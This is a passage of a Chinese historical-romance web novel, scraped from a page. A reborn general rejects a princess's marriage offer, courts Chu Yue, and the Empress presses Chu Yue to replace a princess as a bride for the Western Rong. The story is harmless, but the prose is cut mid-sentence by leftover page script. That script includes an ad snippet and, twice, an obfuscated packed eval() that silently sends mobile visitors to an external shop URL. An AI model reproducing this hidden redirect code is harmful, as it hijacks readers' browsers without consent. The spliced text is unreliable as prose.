他后来虽然灭了西戎,但在那场混战中,以命将他换回去的阿悦却再也回不来了。 所以这一次出征西戎,他的第一个目标就是歼灭西戎的有生力量,确保至少十年之内,西戎不可能再威胁大晋。 胜利的结果就是,西戎对大晋俯首称臣。之所以没有向前世一口气灭了西戎,也是综合考虑的结果。 朝廷之所以让他回去,是因为西戎的使团到了,他需得协助鸿胪寺议定和谈的细节。 楚昕并不知道短时间内景璃已将前世的事情想了一遍,听到这个借口很开心。 从小目睹爹爹处理与西南边境各部族的事务,爹爹一向推崇非不得已,能不打仗最好。 少一些战事对边境的百姓也好,对两国的普通百姓也好,也是幸事一件。 楚昕感慨:“不用打仗太好了,这样的话景大哥也不用离开京城。” 景璃也这样想,武将保家卫国是天职。 但上辈子打仗实在是打够了,所以这一世有仗的时候他还是会义无反顾,但会更慎重与谨慎,因为这一世他有了牵挂,舍不得离开。 一旦上值就不能日日这样接送楚昕了,景璃:“下学后我让长安带你去挑一匹马,等我休沐时的时候带你去庄子上再练一练,熟练后你自己骑马来回。” 楚昕跃跃欲试:“我可以自己骑了?” 景璃点头,楚昕虽然资质差,胜在勤奋。 楚昕对景璃的崇拜更加深刻。 在他看来,景璃简直无所不能,不光帮了他家里很多,还言出必行十分周到,自他上次说要教自己骑马,就真的会在每日下值后教他骑,比爹爹教他还要耐心。 楚昕想起学堂上的同伴:“去庄子的时候,能否叫上琮哥一起?” 景璃听到楚昕对景琮的称呼,好奇:“你们何时这样亲近了?” 楚昕当然知道景璃与景琮的关系不好,当然这个不好应该是景琮单方面的,实际上,景大哥对景琮很上心,给他请的是最好的先生,照顾景琮的人也是最细致周到。 楚昕倒也不是想说景琮的好话,就实话实说道:“琮哥并不讨厌景大哥,他只是不知道怎么和人相处。” 景璃笑:“好,叫他一起去。” 前世的他与景琮很长一段时间都困在大人的恩怨里,两兄弟在年轻的时候没怎么好好相处过。 景琮虽然没有什么大的成就,人却着实不坏。 前世他孑然一身的那些年,景琮的几个孩子给了他莫大的安慰,孩子不会无故对他这个看起来又凶又狠的大伯亲近,一人如此是凑巧,个个如此是因为景琮教他们。 将楚昕带回家后,景璃骑上马前往衙署。 * 景璃抵达衙署后,鸿胪寺少卿已在等候。 在前往鸿胪寺的途中,景璃了解到大晋许诺会下嫁公主,同时接纳西戎每年向大晋上缴白银一百万两,战马三千匹,羊五千头。 景璃皱眉。 面对这位差点将西戎的宗庙都灭了的新晋战神威严的脸,鸿胪寺少卿连忙低下头。 他们这些熟知内情的人才会懂,本次圣上指派鸿胪寺负责与西戎议和,之所以将这位请来,主要是利用他来威慑西戎,令他们尽快认清自己的位置,不至于在议和时腻歪扯皮。 在鸿胪寺少卿的贴心指引下,景璃很快见到鸿胪寺卿裴准,双方见完礼,景璃不解:“赢在大晋,为何还要和亲。” 将士在外出生入死,为了就是为朝廷撑住脊梁,胜了,还让公主下嫁,未免太过窝囊。 裴准知道内情:“西戎人不放心,找人说服圣上,圣上一高兴,金口许下了承诺。” 景璃的眸中闪过一抹嘲讽之色。 圣上当初也是英主,只可惜随着年龄增加,行事越发难以离谱。 景璃:“可定好哪位公主?” 裴准:“论年龄,未婚的公主中年龄最长的四公主,但四公主是乃丽贵妃所生,圣上与娘娘未必舍得。其余几位年长些的年龄相差也不大,还不能确定哪位公主出降。” 景 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 璃沉默。 丽贵妃独宠多年,不会舍得让四公主去和亲。 他只知道,前世和亲一事没有落到任何一名公主身上,是他的阿悦挺身而出。 西戎里京城那么远,和亲队伍长途跋涉两个月才抵达,他见到她时候的瘦脱了相。 同鸿胪寺卿商量好与西戎使节会面的细节,景璃没再说什么,离开了鸿胪寺。 景璃大败西戎有功,升任禁军统领,统帅守卫皇城的禁军。 他原本就在禁军任职,这回有实打实的战功在身,部下无不心服口服。 有部下壮着胆子起哄,让他宴请。 这种事情景璃不好扫兴,爽快应承:“下值之后去丰兴楼,我请。” 部下欢欣雀跃。 非战时,禁军衙所里的官员只需当值半日,除了值守的人,过了午时便可以离开。 因此,下值的梆子才响完,一行人浩浩荡荡离开衙门,直奔西市最负盛名的兴丰楼。 酒过三巡,酒楼里的伙计突然带人过来请景璃。 来人面相阴柔,说话细声细气,景璃只当不知道他是宫人,面露疑惑:“谁要见我?” 这人只好回答:“小的是康王府上的,王爷听闻大将军也在此,特谴小的来邀请大将军过去一叙。” 康王与四公主一样,同样是丽贵妃所生,因他是圣上的第一个儿子,深得圣上宠爱,前世就是康王取代太子,最终登上了宝座。 景璃放下酒爵,向大伙说明情况,跟着宫人离开雅间。 宫人低着头,回想着景璃向众人表明他身份后众人的表情,心情有些复杂。 圣上喜欢兄友弟恭,所以王爷与太子的争斗一直在暗处,大将军如此,是太年轻不懂世故,还是故意的啊? 两间雅间离得不远,景璃很快见到了康王楚昀。 在景璃心里,康王前世这皇帝当得中规中矩。 康王御极之后不爱上朝,优点在于敢放权,朝堂的大小事务皆有文武大臣在管,皇帝算当得逍遥。 见完礼,康王虚扶起景璃:“大将军对社稷居功至伟,小王当不起大将军之礼。” 分主宾坐好,景璃问康王:“不知王爷找下官所为何事?” 康王面色一僵。 他听说眼前这位大将军出了名不好相处,在面对自己这个最有能力角逐皇位的皇子,都不寒暄一下,就这样干巴巴问了出来。 可能武将都是这样吧,直来直去,不爱动脑子。 康王牢记着此行的目的:“父皇常对我们几个兄弟讲,男儿成才自有章程,修身、齐家、治国、平天下,这顺序一点都错不了。上次陪父皇迎接大将军凯旋,大将军的英姿令人久久难以忘怀,我那妹子就是被大将军折服的人之一,到了废寝忘食的地步。所以小王今日前来找将军纯粹是私事,来替妹妹问一问大将军可有婚配,是否有意中人?” 联想起前世种种,景璃瞬间明白康王的意图。 前世和亲的使团前脚抵达京城,四公主火速与靖南大将军的孙子成亲,也是多亏靖南大将军的勤力支持,康王才能打败太子最终登顶。 康王看中了他手里的禁军。 21. 第 21 章 景璃:“多谢王爷与公主抬爱,下官感激不尽,只是长辈已为下官定下婚约,过些时日就完婚。” 康王一怔。 没想到景璃这样不识抬举,他是亲王,主动表明了结亲的意愿,稍微懂事点的都知道该怎么回答。 不过,不高兴归不高兴,康王掩饰得很好。 他表现出十分感兴趣的样子:“不知是哪家的姑娘?” 景璃:“她是个平民,多谢王爷关怀。” 这一点出乎康王的意料,以景璃的家世与能力,他以为他的未婚妻至少会是官家小姐。 不过,听到景璃的未婚妻子是平民,康王松了口气,不是太子那边的人就好。 康王大度地笑:“君子有成人之美,小王一向敬佩大将军的为人,等将军大婚之日,定要讨一杯喜酒。” 景璃:“一定。” 景璃离开后,康王身边的宫人比主子虾着腰凑过来,嫌恶道:“这景大将军未免也太目中无人,王爷和公主屈尊纡贵,他竟然不识好歹。” 康王靠在椅背上,摇头:“你不懂。” 景璃这样的人,在京城中算是异类,独来独往,不拉帮结派,能在京城这样复杂的地方做到独善其身,是个人物。 这样的人往往都有自己的坚持,不会因为其它人的坚持就改变主意。他留意过,景璃只关心战事,有这样的人在,于朝廷而言是幸事。 他现在如日中天,就是圣上也要高看他几眼。 对于这样的人,能拉拢最好。 以景璃如今的身份地位,什么样的妻子都能娶得到,但他守着与平民的婚约,要么是对那名女子情根深种,要么本身就端正守诺。 若是前者,强行联姻反而容易成仇;若是后者,他既一直身体力行保持中立,就不会再随意站队。 他不站队,对他与太子之争是好事。 母亲舍不得妹妹和亲,最完美的解决方式是让妹妹嫁给景璃,既能解了母亲的痛苦,又可以为他的夺嫡之路上添加助力。 可惜了。 不过,所图越大,越不可与景璃交恶。 宫人:“那四公主怎么办?” 楚昀也头痛。 “听说靖南大将军有个孙子还没有娶亲?” 宫人颔首:“只是听说这武小将军常年流连烟花之所,镇南将军知道了气得够呛,放出话要将人带回南方。” 楚昀:“那也比去西戎强,远归远,至少在大晋,想回来还是能回来,去了西戎才是生死不知。” * 宾客酒足饭饱后尽兴而归,景璃也带着长安离开兴丰楼。 离关闭坊门还早,长安偷偷打量景璃的神色:“世子现在回府?” 景璃的心跳动了下。 经过早晨的事,他一点都不想回府。 可他已经答应了姑娘。 “去东市。” 从西市去东市要路过陵水河。 正值仲春,河水潺潺,杨柳依依,看到熟悉的场景,景璃忍不住想起姑娘昨日在河畔的柳树下等他的场景。 今日河畔的年轻男女依旧很多,景璃不由自主开始畅想有朝一日他和阿悦也可以光明正大畅游。 一直东张西望的长安突然低声惊呼:“是孙公子。” 景璃顺着长安的目光看过去。 孙仲正在与人同游。 同昨日一样,他身侧又有一个年轻女子,只不过这次换了人,不再是颜姑娘。 景璃面无表情收回目光。 长安饶有兴趣看着。 孙公子与自家主子同岁,也要了娶亲的年纪,这样的情形自然是孙公子在同人相看。 看了阵,孙仲没有朝他们这边看,长安也就收回目光,感慨:“孙公子和那位姑娘看起来处的很好,看来孙家不久后就会办喜事。” 景璃没有说话。 孙仲家世不错,人也周正上进,他这样的人想要成家一点都不难。 这个不成,自有别的人家愿意结亲。 但他认得出来,今日同孙仲出游的,并非他前世的妻子,恐怕这样的相看还会有几次。 “走吧。” 主仆俩行了阵,长安好奇:“世子与人有约?” “走你的路,哪这么多话。” 京城分为东、西两市,西市多是与衣食住行相关的商铺,东边市场就多出精巧惊人之物。 进了东市,景璃直接去了间首饰铺子。 掌柜认得景璃:“大将军。” 景璃点点头:“东西准备好了?” 掌柜恭恭敬敬点头:“大将军放心,早就准备好了,小的这就拿来给大将军过目。” 不多时,掌柜亲自取了个精美的描金漆盒过来,当着景璃的面打开。 一旁的长安惊得睁圆了眼。 做工精细的漆木盒中铺着枣红色锦缎,锦缎之上静静躺着一整套头面,不仅有金玉制成的名贵发梳、簪钗、步摇,也有精巧别致的珠花、绒球、丝绦等。 任何一个单独拿出来都美轮美奂,别说这一整套。 景璃暗暗点头:“收起来吧。” 长安十分有眼力地抱在怀里。 这明显是送给女子的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,他都不知道世子何时在这里预定了首饰,据他所知,萱姑娘的生辰还有半年。 难道是送给楚姑娘的? 长安暗中摇头,否定了这个想法。 世子心仪楚姑娘这显而易见,奈何楚姑娘似乎对世子不敢兴趣,并未对世子表现出好感。 快到兴义坊坊门的时候,景璃吩咐长安:“你去一趟延贤坊,将东西交给楚姑娘。” 长安没有太过震惊,还真是楚姑娘! 按理说,这样贵重的礼物,亲自去送更显得有诚意。 世子不去,恐怕是也知道多半送不出去,所以才让他去。 大概被拒绝了也没有那么难看? 长安重重颔首:“世子放心,属下一定亲自交到楚姑娘手里。” 等见到楚姑娘,他一定说尽好话,让楚姑娘多看世子一眼。 * 等楚悦收到漆木盒的时候,比长安更加惊讶:“是什么?” 长安:“姑娘打开看看就知道了。” 楚悦看着这看起来就很贵重的漆木盒,没接:“谁让你送来的?” 景璃和景萱送的不一样。 长安怕她拒绝,主动打开盒盖:“是世子让小的送来的,请姑娘笑纳。” 盒盖打开的瞬间,楚悦感觉眼睛被闪了一下。 待看清里头的东西,心里骤然发烫。 她用过好东西,知道这样好的东西并非朝夕就能买到,必定是早早就着手准备。 想到他如此用心,对答应他又庆幸了一层。 但这人也真是的。 他答应了不来,却又让长安送来东西,是故意提醒她上午发生的事么。 在热意漫上面上之前,楚悦强压着心跳开口:“先进屋。” 财不外露,这里不比兴义坊,这些东西被人看到意味着麻烦也会接踵而至。 长安只知道,楚悦让他进屋就意味着她愿意接受这些了。 匆匆将东西塞给楚悦,长安果断后退:“属下还有事,就先告辞了。” 楚悦连忙合上盖子,感觉手里有千斤重:“你回来!” 长安被迫停下,懊恼自己怎么没有再跑快一些,但不敢靠近,怕楚悦重新塞给他:“姑娘有何吩咐。” 得了人的东西,自然要表明态度,楚悦柔声开口:“劳烦你回去跟世子说一声,我很喜欢,下午宫里来人了,说皇后娘娘想见我,正好可以用上这些。” 她说不清为什么,总觉得皇后突然派人来有些奇怪。 然而妄自猜测皇后有不敬之嫌,也不知她这样说他听不听得明白。 22. 第 22 章 长安还震惊于楚悦的那句很喜欢。 他有些弄不懂了。 一个两个都奇奇怪怪的,到底发生了什么他不知道的事啊! 楚悦见长安呆住了一般,确认:“可记住了?” 短暂的茫然之后,长安鸡啄米似地点头:“姑娘放心,小的记住了。” 他必须去问问世子这是怎么回事。 长安离开后,楚悦抱着木盒进了房间。 重新打开漆木盒,楚悦认认真真打量他让长安送来的一整套首饰。 女孩子本就容易被漂亮又精致的东西吸引,尤其是这些东西还是心仪的男子特意为她挑选的。 楚悦忍不住翻来覆去地细细打量,心里满满都是甜蜜。 在家里出事之前,她也能轻松给自己置办这样的头面,好在以他的身份地位,拿出这些并非多大的负担。 渐渐地,楚悦的注意力都集中在一对绒花上,染成浅碧色的蚕丝与大小不一的珍珠经过匠人的巧手,做成蝴蝶的形状,轻轻一拨,蝶翅翩然欲飞。 她曾经有过一对一模一样的绒花,只不过是在三年多以前,她刚回京城时戴过。 一个匪夷所思的念头在楚悦脑海里浮现,只是想起这个可能,胸膛里就一阵阵滚烫。 * 澹明堂。 听长安说完楚悦要进宫,景璃心里顿有不好的预感。 湘王出事后,他们姐弟被贬为平民,几乎已被整个皇室遗忘。 皇后这三年多没来找过她,为何偏偏是在朝廷决定和西戎和亲之时。 换上衣裳,景璃径直往外走。 长安不解:“世子,您要去哪里?” 坊门即将关闭,若是出府,夜里可未必能回来了。 景璃:“我出去一趟,若有人问起,就说我因公事出门,夜里不回来。” 长安:“!” 还真不回来啊。 他突然想起是世子出征前一日,也是突然出门,在外头住了一宿,直到晨间才回来。 那次不会也是为了见楚姑娘吧? 离开澹明堂后,景璃没有直奔延贤坊,而是先去了学堂。 楚昕正好下学,看到景璃很惊讶:“景大哥怎么来了?” 景大哥今日起开始上值,他公务繁忙,说好今日早晨过后就不再接送了的。 目光从背对着他的景琮身上掠过,景璃回应楚昕:“去延贤坊办事,顺道。” “太好了。”楚昕高兴,和在赶功课的景琮打招呼,“琮哥再见。” 景琮头也没抬,随意嗯了声。 等景璃和楚昕离开后,景琮皱眉看向两人离开的方向。 都说这人待他很好,好个鬼,看见他当他不存在,当兄长的,难道就不能让一让他! 烦死了! 路上的行人陆陆续续都在往坊院里走,楚昕问景璃:“坊门就要关了,景大哥回去来得及么?” 等过路的行人走远,两人也到了姜家门口,景璃:“不要紧,找个客栈住一宿。” 楚昕想起家中有客房,热情相邀:“这么麻烦做什么,家里就有住的地方,景大哥若不嫌弃,就来家里住。” 楚悦知道楚昕今日自己回来,虽然知道这没有可操心的,但还是没忍住出来等,也就不仅看到了同楚昕一起的景璃,也听见了两人的对话。 景璃也在第一时刻看到了楚悦。 当姑娘只是平静得看着他,并没有表现出任何异样的时候,景璃婉拒了楚昕的邀请:“与人约的夜里见面,就不过来了。” 楚悦松了口气。 “姐姐。”楚昕走近楚悦,热心地向他解释景璃出现在这里的原因。 在楚昕没有注意的时候,那人的目光比仲春的日头还要热烈,楚悦需要打起十二分精神和楚昕说话才能不去在意那道目光。 看两人打完招呼,楚昕依旧想尽地主之谊:“反正离夜里谈事还有很长一段时间,景大哥进去坐坐。” 景璃的目光温柔地落在楚悦的脸上。 这一刻,楚悦的面庞还是悄悄红了,感觉他似乎在等她开口。 不想被弟弟看出端倪,加上他其实是她引来的,楚悦尽可能自然地开口:“世子请。” 傍晚了,夕阳的余晖落在姑娘白净的面庞上,将她整个人也镀上了一层柔和的光晕。 猜测她不想让楚昕看出什么,景璃配合她,意味深长开口:“那就打扰了。” 楚悦垂下眼睫,脸不受控制红了。 擦身而过的瞬间,楚悦感觉他看自己的时候笑了下。 不过,这人倒是善解人意。 楚悦悄悄弯起唇角。 姜婆婆知道楚悦和景璃之间的内情,听到动静从厨房里走出来,她伸手去接楚昕的书袋:“阿昕去温书吧,我们来招待世子。” “我自己来。” 楚昕没好意思让一把年纪的人提书袋,和景璃说了声,懂事地回房里去温书。 姜婆婆重新返回厨房,将院子留给两个年轻人。 在热意彻底在面庞上晕开之前,楚悦将景璃带去花厅。 这是早晨互相表明心意之后两人第一次私下见面,楚悦怎么待着都觉得不自然。 好像无论走到哪里,这人的目光都笼着自己。 她之前怎么也没有想到,一向冷静威严的人在私底下见面的时候是这个样子。 偷偷看一眼,这人果然还在用一种她无法形容的表情看着自己,楚悦索性背过身子,捂脸:“你别这样看我。” 景璃一怔,随即露出笑容。 他倒是没有刻意盯她,只是好不容易能够光明正大这样看她,就觉得怎么也看不够。 “抱歉,”景璃大步迈到楚悦面前,低下头,哑声开口,“我只是高兴,有些不知所措。” 对陷入情.爱里的女子而言,听到意中人因为自己神思不属,害羞归害羞,会像她这样偷偷开心吧。 原本她也有些不知所措的,一经对比,反而成了更正常的哪个。 楚悦顿时没有那么慌乱了。 再掀开眼帘悄悄打量他一眼,麦色的皮肤竟然比平时更深些,楚悦突然生出更多的勇气,比手请他去窗边的炕床上坐。 看着故作镇定的姑娘,似乎在想问题的样子,景璃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879140|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底一片柔软。 他不忍让气氛这样继续僵持下去,主动开口:“长安说,皇后娘娘请你进宫。” “是啊,”楚悦从善如流,聊起正事,好像就没有这样不自然了:“娘娘身边的宫女来过,说是娘娘想我了,想让我陪娘娘说说话。” 霖州地处边陲,楚悦一家同其他宗室的来往不多,但对皇后和太后,她心里是感激的。 父王出事后,圣上勃然大怒。是皇后和太后求情,圣上才放过他们姐弟一马,只将他们贬为平民。 皇后这样突然来找她,她其实担心爹爹的案子有变故,提前知会他一声,万一连累到他也能有所应对。 景璃考虑得却是和亲之事。 他原以为经过那一仗,不会再有和亲之事,没想到还是发生了。 因为种种原因,历朝历代由宗室旁支的女子代替真正的公主和亲的例子并不稀奇,所以这件事情他宁可往最坏了想。 前世她同样是平民,又是孤孤单单一个人,他从哪里知道朝廷要派公主和亲,她又如何能在和使臣定好之前,顺利地被册封公主,理所应当成为和亲人选。 他前世问过,她没说。 未雨绸缪,景璃不得不给她分析如今的形势。 楚悦从来没有想过这个可能性,见景璃神情严肃,也知道了事情的严重性:“皇后娘娘来找我,是和西戎与大晋议和有关?” 景璃点头。 楚悦很快明白过来。 皇室中人享受着普通人享受不到的尊荣,真到了天下兴亡的时候,他们有责任站出来,保护他们的臣民。 但并非所有的皇帝都会舍得亲生女儿,临时选择其他宗室女子,封个公主去和亲并不稀奇。 看着姑娘有些苍白的脸,景璃有些后悔告诉她这些了:“阿悦放心,凡事有我。” 对上那双饱含担忧的眼,楚悦绽出笑容。 她当然愿意相信他。 从一开始她就知道他的诚意,爹爹的案子并不容易,他不仅让人去查了,且目前看来一切都还很顺利,就说明他是个胸中有成算的人。 但她的性格就是这样,相信他,却不会完全义无反顾,始终会在心里给自己留一条退路。 就像她接受了他,也很希望能够一个好的结果,也能接受世事无常。 她经历过那样的猝不及防,两次。 在她怀着美好的期盼来京城与父母团聚,以为他们一家四口能过一段安稳的生活时,娘亲突然病故,爹爹背负着叛国的名义在狱中自尽。 后来弟弟的腿受了了伤,她以为找了大夫接好就好了,也能继续生活。 若不是景璃看出有问题,恐怕弟弟已经伤重不致。 所以,当一切看起来太过美好时,她不会去奢望能一直这样顺利下去。 她并非看不懂他的心意,曾经担心太过期待反而不得善终。 如今不一样了。 她还是会担心,也知道所有的欢喜都不可能能持续到最后。 至少,在走向不好的结果的过程中,她能拥有想要记住的好。 “我知道。”楚悦由衷开口。 23. 第 23 章 两人说话间,姜爷爷来敲门了,邀请景璃留下来用饭。 景璃看了眼对面的姑娘,她没点头,明白了。 景璃婉拒了邀请。 楚悦轻声解释:“我还没想好怎么和阿昕说。” 姑娘说这话时脸还红着,如同涂了顶好的胭脂,景璃只当她是害羞:“我明白,不着急。” 楚悦心中一片柔软。 应该很少有男子能做到这一点,世人皆传他是新晋战神,明明是个杀伐果断之人,在她面前却一点也不强势,就算她的要求未必合情理,他却从不质疑。 他越这样,楚悦就感动,越是难以只考虑自己。 姜婆婆和姜爷爷是大人,有些事不用说透也能理解,但阿昕不一样,少年人的心思单纯又热烈,在一切尘埃落定之前,她不希望楚昕知道太多。 她是姐姐,天然会爱护弟弟。 楚昕也一样,虽然还是个少年,也会想要维护她这个姐姐。 她不希望楚昕觉得她和景璃有了某种关系,就理所当然地去要求他。 在绝对的皇权面前,弟弟可能还不能完全明白他做了什么,可能还不能理解他替爹爹翻案有多难得。 景璃从来不主动说,并不代表她想不到。 他怜惜她,她也想尽可能地保护他,或许有些微不足道,这也是她的心意。 该离开了,可这是她家中出事后第一次进宫,景璃不放心:“明日我送你去。” 楚悦轻轻摇头,说不用:“娘娘都安排好了,会有人来接。” 她对皇后的印象不错,之前随母亲进宫时,皇后对她们母女俩很和善。后来父母出事,也是皇后为他们求情,求圣上留下他们姐弟的性命。 景璃:“我在宫门前等你。” 楚悦眸光一顿。 宫门之前啊,那得有多少双眼睛看到。 有了决断,心就不彷徨了,也会生出更多的勇气与魄力。 楚悦攥了攥交叠于身前的手,真想伸手替他抚平眉心:“莫要担心,娘娘待我很好。” 顿了下,楚悦的耳根有些烫:“昨日阿萱身体不适,我本打算去她的,若是顺利,我明日下午去看她。” “好。”景璃答应了。 姑娘从容不迫,那他也没有必要再徒增她的担忧。 他看着对面看起来软和无比的人:“我在国公府等你。” 闻言,楚悦的脸更红了,为他能懂得她的小心思。 虽说彼此有了默契,但她还没法做到大大方方说要去见他。 但他听明白了,她回来后也希望能见到他。 该说的似乎都已经说好,景璃真的要走了。 和老两口与楚昕打过招呼,楚悦将景璃送到门口。 夕阳已经落下,停在坊墙之下,将他的影子拉得很长。 在他真的越走越远,楚悦忍不住迈下台阶,按着噗通直跳的心出声:“世子。” 景璃停下来,折回来,停在楚悦身前:“怎么了?” 姑娘的呼吸有些急促,夕阳在她的面庞上也涂上了柔和的光。 楚悦咬唇开口:“世子没有要事要谈,是特意为我要进宫来的,是么?” 景璃一怔,随即绽开笑容。 这姑娘心里跟明镜似的,什么都知道。 他的心意坦坦荡荡,没什么需要隐瞒的,虽然她还有疑虑,可他也想让她知道他是个可信的依靠。 四周没什么人,景璃伸手替姑娘勾住垂落下来的发丝。 这举动暧昧又直白,楚悦没有躲,也不想躲。 心里喜欢他,也认定他了,不论他带给她的是什么,她都能接受。 * 第二日是个晴天,皇后的人准时前来,带着楚悦前往宫城。 她之前去过宫里两次,一次是熙和十三年冬,那时刚回京城,随父母去拜见太后和皇后;第二次是十四年元宵,去宫里参加晚宴。 在她的印象里,皇后端庄而和善,是一位很好相处的女子。她也是从皇后和母妃的交谈中知道,二人年轻时就是好友。 也许是因为这个原因,皇后娘娘才会在那样的时刻给他们姐弟俩求情。所以,当景璃说到皇后娘娘找她可能与西戎和亲一事相关时,她起初觉得难以置信。 胡思乱想了一路,楚悦在宫人的带领下从长天门进入内廷,一路来到皇后的坤玉宫。 楚悦双手加眉,端端正正向皇后行晚辈之礼。 皇后坐在圈椅里,静静打量楚悦。 曾经的半大孩子长大了。 刚见楚悦时这孩子安安静静地,乖巧地待在母亲身边,任谁说话都微笑听着,一团温软和气。三年多过去,曾经的小姑娘褪去了生涩,出落成亭亭玉立的大姑娘,眉眼越发与她那以容色闻名的母亲相似。 皇后心中一叹。 “起来吧。”皇后温声开口,让人给楚悦赐座。 楚悦谢了皇后,在一旁坐好。 皇后打量她的同时,她也默默打量着皇后。 三年多过去,皇后清减了不少,眉目间也多了些郁色。 她想起来前景璃给她分析过的。 二十年前,先太子身故,余下几个皇子为储君之位争得头破血流,最终由当今圣上杀出重围,成功夺得储君之位。为稳定政局,圣上得拉拢中立的清流,与左丞相晏家联姻,皇后就是晏家之女。 御极之后,圣上依赖晏家,但也忌惮晏家,利用在那一场动乱中成长起来的新贵平衡晏家的影响力。 如今的朝堂上更是出现了以康王与太子分庭抗礼之势。 康王乃丽贵妃所生,丽贵妃的兄长乃右丞相;太子乃皇后所生,但晏家的影响力已经大不如前。圣上近年更是痴迷于炼丹修道,不问政事。 皇后如何不忧心。 寒暄过后,皇后终于向楚悦说起请她进宫的深意。 楚悦听完,头皮一阵发麻。 果然被景璃说中了。 楚悦只当不知道这些,扑通跪倒在地:“求娘娘开恩。” 这就是不愿意了,其实也不能怪姑娘求饶,离乡背井的,对方是人是鬼都不知道,没有哪个女子愿意。 皇后在心里又叹了叹。 圣上有三位已到适婚年龄的女儿,分别是四公主、五公主和六公主,四公主乃最受宠的丽贵妃所生,五公主乃她所生,六公主的外祖父也是圣上的心腹。 可气的是那丽贵妃让人封锁了与西戎和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13903011|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的消息,她晚一日知晓这个消息,那丽贵妃吹了枕头风,短短一日之内就令圣上同意了给四公主赐婚,这样一来和亲的职责就落在了五公主头上。 她身为母亲,舍不得女儿受苦。 可如今不比从前,晏家呢,早被圣上卸磨杀驴拿住错处贬了官职,圣上早就视她这个发妻于无物,她无法像丽贵妃那样去同圣上去闹去使小性,去了也是自取其辱。 甚至于由于太子因为过于仁善实在,不及康王会讨圣上喜欢,以至圣上这几年越发看太子不顺眼。 她只盼圣上看在她积极为他解决这件烦心事的份上,同意用宗室女子代替公主出嫁,不至于因为她想偏袒五公主而连累太子。 打定主意,皇后亲手扶楚悦起来:“本宫不是在同你商量,而是在给你与阿昕争取一条更宽广的路。” 楚悦冷静下来,想听听皇后怎么说。 对上姑娘惶恐又疑惑的目光,皇后语重心长道:“你长大了,有些事也该让你知晓,你父王犯了不可饶恕的重罪,但据本宫得知,圣上对于你父王的案子态度有所松动。 只要你答应去和亲,圣上一高兴,网开一面也很有可能。本宫还可以承诺,本宫与太子都会记得你是替五公主去和亲,也会帮你照顾好阿昕,令他依旧可以做从前那个无忧无虑的湘王世子。” 楚悦听明白了。 景璃也提到过,按理应该由四公主去和亲,但皇后的意思是和亲的是五公主,那就只有一个可能,四公主在圣上的默许下抢先定下了婚约。 皇后是在同她谈条件,她替五公主去和亲,皇后和太子不仅会在爹爹的案子上上心,还会照顾好阿昕。 一个是圣上的枕边人,一个是将来掌握大晋的人,多么诱人的承诺。 若非有景璃在,若非她知晓是景璃与人在暗中跟进爹爹的案子,若非景璃事先提醒,为了爹爹的清白与阿昕的将来,她大概会将皇后的承诺当成救命稻草,毫不犹豫应下。 但她现在不想答应了。 楚悦面露挣扎之色。 “你放心,”皇后见她没有一口回绝,“如今两国只是有可能和亲,到底成与不成都不一定,就算成了也并非要立即启程,你至少有一个月的时间陪阿昕。倘若不需要和亲,本宫也会记得你这份心意,到时必定会为你指一门好亲事,风风光光送你出阁。” 楚悦没同意也没拒绝,低头:“多谢娘娘指点明路,民女懂了。” 皇后只当楚悦妥协了,脑中绷着的弦终于能放松,她拉住楚悦的手:“好孩子,也不枉我一片苦心。” 两人谈了些别的,皇后派人送楚悦出宫。 依旧是从长天门出宫,只不过出乎意料的是,她们在宫门外看到了四公主。 四公主似乎在等人,对楚悦的行礼不是很有耐心,打发她们之后朝皇城的方向张望,那是各部官员衙署的聚集地。 马车早在宫门外候着了,车夫看到她们出来后就摆好马凳。 宫人殷勤地比手:“姑娘请。” 楚悦提起裙摆,低头登车。 行了一小段,马车内的楚悦猛地睁大眼睛。 马车外,宫女恭恭敬敬地引路:“景大将军请,四公主在前方等您。” 24. 第 24 章 长天门前,四公主楚倩看着景璃走近,悄悄地直起腰杆。 昨日哥哥告诉他,景璃无意与皇室结亲,让她不要胡闹,断了这个念想。 她不服气。 她爹爹是皇帝,母亲是后宫里最有权势的女子,她的哥哥则比太子还风光,她这个最尊贵的公主就该拥有最出色的丈夫。 若不是因为她要赶在与西戎人定下签署合约之前定下婚约,她非得再好好挑一挑,还未必看得上那个看起来就凶巴巴的人。 结果,这凶巴巴的人毫不犹豫就拒绝了哥哥。 她就不信,她这大晋最尊贵的公主还比不了她那个平民未婚妻。 人越来越近了,果然如传言中那样高大、阴沉,看起来非常不好惹。 景璃叉手行礼:“四公主。” 楚倩攥紧垂落在身侧的手,紧张地咽了咽唾沫:“免,免礼。” 景璃直截了当开口:“不知公主找下官所为何事?” 楚倩暗暗给自己鼓劲,她才不会发怵。 她定了定神,拿出最完美的仪态与声调:“大将军为何要拒绝我兄长的提议,本公主难道配不上你么。” 景璃:“……” 他只觉得荒谬。 堂堂一国公主,受食邑、享禄米,国事当前不说为朝廷分担,尽胡搅蛮缠。 景璃冷冰冰开口:“多谢公主抬爱,下官已有婚约。” 楚倩被这人的不客气惊呆了,她却注意到,从见面对现在,景璃都没有用正眼瞧她一下,连语气都很冷淡。 她可是大晋最尊贵的公主,从来没有人敢这样对待她! 